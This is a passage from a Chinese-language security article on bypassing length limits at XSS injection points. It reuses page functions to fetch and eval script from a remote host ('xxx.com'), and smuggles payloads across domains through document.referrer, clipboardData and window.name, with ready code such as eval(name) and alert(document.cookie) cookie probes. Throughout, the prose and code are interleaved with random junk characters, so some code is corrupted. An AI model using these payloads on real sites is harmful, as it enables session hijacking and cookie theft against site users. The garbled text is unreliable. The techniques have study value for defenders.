8 Y- `# ~! [6 K" w" C! x 就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的 3 \6 j' w$ `, y6 m. K简化函数,最经典的例子就是: 0 D2 w6 d' {- T; t9 F& ^' m' H9 j- [$ `0 K' I1 g3 I/ l: _- |% R
--code-------------------------------------------------------------------------2 G! r& @& l# _* t
function $(id) {' ]: u3 M3 o; ]% D$ R
return document.getElementById(id); I0 x1 Z+ L9 N% D* d}+ x, Y* A1 o! E8 ? J: m
-------------------------------------------------------------------------------: Y% @. E9 y& Q
" @* g: e5 P( W+ T7 K( W' e. E 这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是 # o2 ~, J+ K9 `9 u9 W" o4 p9 u最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码: 5 {4 f$ X3 o, d; d$ ^+ u& h2 y+ J4 V. B( n; o' f$ n( ?! @
--code-------------------------------------------------------------------------7 ~' h6 n) X4 n- x/ A5 R- O
function loads(url) {( d6 Y+ h) |0 M3 D
...$ V7 {$ {: c. n* S, {' q
document.body.appendChild(script);; {. x" W5 f! |2 T: l0 @
} * e! k U7 R- m( @+ q, T. {4 X+ ~4 Z 3 [. j6 G) X1 v0 q, g, S" l! X7 U<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point> . g5 @$ [1 I0 n! b# B% Q-------------------------------------------------------------------------------# v2 h, ^+ p% Q! z9 M
- ^1 w) f) i c- V* F( x# g
长度:len(函数名) + len(url) + 5 4 Q2 l/ k; O* W& s s$ W3 \0 C0 q/ A6 e: t2 l4 e% J 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求: . j6 ?: Q% ?! ^/ r. C3 b# S1 _+ i, M
--code-------------------------------------------------------------------------) F: y% U3 w! v
function get(url) {* y) f4 h. E0 l8 S O' [- [
... / ?( O5 s! W" K return x.responseText;4 |& ?+ w$ d2 T; o8 I! F
}5 x8 w# v6 `0 O) q
) B$ n- p. x* F5 `<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>" v- e' s' Q( F
------------------------------------------------------------------------------- $ a6 q) r( w; y- m4 L7 m 0 c8 W! v3 z1 W& m2 ^长度:len(函数名) + len(url) + 11( l2 ~+ O/ {4 @' |
! |1 |: j7 {! [* k" h4 E* w' n
道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:* U: c& O. c1 a) [. P8 B
$ K* m: w3 t u* ^- O9 uJQuery& P( v9 z- c) U* y: K
YUI( H+ t$ G! |/ k
...8 X1 \* x( ^5 d4 Y$ F& M
; v1 \; x6 M1 ^6 r0 s 综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我- w: a. S- E: f) r
们的代码,进而突破长度限制执行任意代码。 # O5 S Y ` O" a3 C0 h8 Y, w9 m* V R8 t( C( c
) x! |" z2 I x: |4 q, q( x" G
2.4 利用浏览器特性在跨域的页面之间传递数据 3 H/ N. x t4 w# [) L$ b9 e ! f. S. G) Z. |8 B 虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的3 N3 H$ y5 x/ b4 J8 l" l( C
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。 " J. k& H4 R: \9 H5 a3 }) C, v 4 h( z9 _2 c6 a8 x# I2.4.1 document.referrer/ v4 s+ P- q$ p: y
; A7 [4 s% X, h0 s& z 攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了 V; Y8 E2 Q& L/ V) L( p
Payload,被XSS的页面通过referrer获取相关代码执行。$ p2 K% H$ T# i. Z' J9 Z
/ I5 S5 v- `7 x1 h
攻击者构造的的页面: P. c1 F7 k9 m3 P8 } / Y* ?( N/ q* f' m! k--code-------------------------------------------------------------------------- J* o1 i$ l$ }/ Z2 n9 E* k! D' W http://www.a.com/attack.html?...&alert(document.cookie) - M! `. T0 d3 s @ 3 n' g( i! o9 _& d- D. u4 ?<a href="http://www.xssedsite.com/xssed.php">go</a> 9 q2 F/ _: l7 P& R- M" Q------------------------------------------------------------------------------- 0 i6 @( b5 Y# [ ' N" z* t3 j6 v被XSS的页面:( L+ Y n& ^! q6 y7 v
1 |% |) T. u/ p/ u, w( m4 ^) E--code------------------------------------------------------------------------- 6 T8 f( b$ Q1 w( i) |+ x<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>( j8 O8 D" w* ~( e1 N% t) Q9 ]
------------------------------------------------------------------------------- 4 a |: g2 v6 n. h$ E" N9 l: J0 M( y5 g0 ~* l
长度:34 % E8 C$ b P# c. { r6 F& f 9 a' G' _7 O# K7 y6 S# P+ a+ W 这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh> ) r1 Q/ e. U) w/ Z, o) c实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式 : G, P# I& n6 R( Y! P* B4 j3 s比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer: G, _5 q; D4 D5 n* Y. ]; I Y. @8 A; E! m% d9 n3 [
--code------------------------------------------------------------------------- . A3 E6 V9 n) a! D6 k8 z<script type="text/javascript"> ! E' `1 ~; |- y, X( H<!-- * ~4 X0 a. V qwindow.onload = function(){, |# Y2 n4 V/ W# @" S" W; h0 K6 W
var f = document.createElement("form");& ?) V* m+ f, |+ T4 D$ D/ k
f.setAttribute("method", "get");( c8 ?4 ]7 ~* e X4 c" q9 B! N/ c
f.setAttribute("action", "http://www.xssedsite.com/xssed.php"); + K8 t8 A/ S0 a& A2 T document.body.appendChild(f);2 i5 w. O' H B) J7 |- E6 y( S) y
f.submit(); 0 J0 s1 a+ t/ P* u! s}; & _" F* h! a: A' E# U5 ?/ p//-->/ S4 `8 |/ H, d) H9 k( i
</script>7 \/ C) G$ }% ]3 f" ~5 k
------------------------------------------------------------------------------- 2 F% w' r$ a' h! \( D1 k 5 k. Q0 S# n+ ^/ ` 1 L* U2 Z/ V" @; p5 C2.4.2 剪切板clipboardData 4 q: i' \% L/ Y , |% A7 A r, A 攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获3 j% u; m1 I7 l7 \: W5 y" V9 J
取并执行该数据。 ; X" v# H: R4 M( h5 q, V. v9 K2 I $ U/ I2 c& }7 p7 M' F8 Z! M攻击者构造的页面: 8 E' {& J3 Y a* ?' ?8 p * G' v3 c2 _5 U--code------------------------------------------------------------------------- # {5 J) B6 P3 Y* C: Y+ J<script> 9 M; _! B' Q* N v. W* m+ ZclipboardData.setData("text", "alert(document.cookie)"); 4 |7 a! s( O$ Y- p2 k; P</script> 8 d! `! k9 T) J+ ]5 i$ i------------------------------------------------------------------------------- ' d+ B9 x' n0 \/ T$ ` 2 ]7 P/ I! \- q9 C+ r被XSS的页面: ' v& U @0 h$ M3 F8 o$ _1 P7 o) Q. X3 e% [" \2 a
--code-------------------------------------------------------------------------1 r+ Q. c6 k4 J7 [) e
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>/ i: t% U0 ]5 p+ @: y
-------------------------------------------------------------------------------( _# l7 _/ [2 g. {% H* z
# X0 w( A3 D$ J7 J) m% J2 \长度:36& B. s7 W9 @( [3 V) n- k5 I
9 e( X; H0 B X/ n( T 这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。4 l+ B. a- P. U0 X
! d; H$ F, t* ~% ~$ C; |
' ~% c7 D; j# }. C$ h
2.4.3 窗口名window.name( ^! ~* ]) J: u; \. p
* q q" ^, y8 J2 a$ p 这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数 % Y! \4 K0 e, a2 A8 j2 b据的,但是这个特性本身并不是漏洞。/ z' Y" R6 I: |# a2 _: l
- E( C- R- k/ ^& ]( _ 如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置* U3 I7 I# g1 G# [$ }1 a
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当' t% u) q" P2 e+ X1 X4 c/ W1 o9 F# |
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只$ ^# s5 n9 `) A9 e6 m m, w# R
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格 2 X* ]$ R+ O7 F5 I4 j# G的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS9 U: f) h0 \) k6 ?. m- @
或者VBS。 : O" z7 c! M! b' \1 B% X* }* |7 E
但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符! M! [% T0 P# L( D, ~* t
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行: ! g- ^7 z; ?! r1 [5 U9 n9 E( z" b , O, U5 O! v/ b1 t E攻击者构造的页面: 7 \; p& d7 f. X% i$ v1 O; i: e: p% X/ f
--code-------------------------------------------------------------------------: j n) }; O! V' n3 i, w. Q
<script> : h7 Z) L9 t$ r0 Cwindow.name = "alert(document.cookie)"; * ]. O* b1 N+ @locaton.href = "http://www.xssedsite.com/xssed.php";# S0 w) b; _1 L+ L
</script> 2 C R* R; X6 L6 \7 Z5 w2 z------------------------------------------------------------------------------- 4 o5 t. ^3 t- e+ j; G2 n7 m b6 q - ? T/ Q8 v6 s6 t3 Q被XSS的页面:: @3 A% A* D9 j* O( {' q
, _+ {7 N: N) r# j; }--code------------------------------------------------------------------------- ( v# }, }1 B, Q; m4 s<limited_xss_point>eval(name);</limited_xss_point> 3 J. F: ~7 K4 V5 V4 [) d-------------------------------------------------------------------------------2 {; d% U: c9 t3 }; C
K+ K ]0 y$ n8 o' s1 \
长度:11 # @' [5 @9 ~ ], N4 `% H: N7 \% w: k; y1 ] n/ J
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思 G4 D' B$ ~% h的技巧,这个技巧的发现也是促成本文的直接原因。0 u, x; o; Y% j0 q0 E
3 o) W3 N. o( A4 b; e( s
window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文 & g" L& B! g: {5 z章来探讨。% U& E v8 q0 z# ~6 W8 p4 J
( m0 {& |; y7 o8 r' e/ T
1 t: l* ` V2 e2.5 以上的方式结合使用 9 k. l* {$ @+ {$ V i) H. t" O7 @" G! T& g: n
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况 : Q0 }1 u: B x/ |; T! c中,灵活的组合上面的方法可能会起到奇效。 % w- o2 Y" A5 ~) {; A / k+ f/ ]) V @. p# g& I; u 0 u! B( Y/ ~: Q+ T: q3 B' {4 _三、后记4 i6 ~$ V L7 q3 g
- M& o; g: _0 s6 g0 O& p. C JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的% `6 n+ l( Z: Q" M1 c
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎# v; g& b% z: H9 b
和我交流! 7 u+ p) L4 p8 d: h$ d* {2 Q; A: W" F% T3 n
感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!% D5 i P6 R c. b: S5 {) `
- n% n6 |/ N$ c H# h" j
本文是纯粹的技术探讨,请勿用于非法用途! 8 S3 A5 Z/ N$ x2 p# o9 e D0 c/ {+ J' K- y m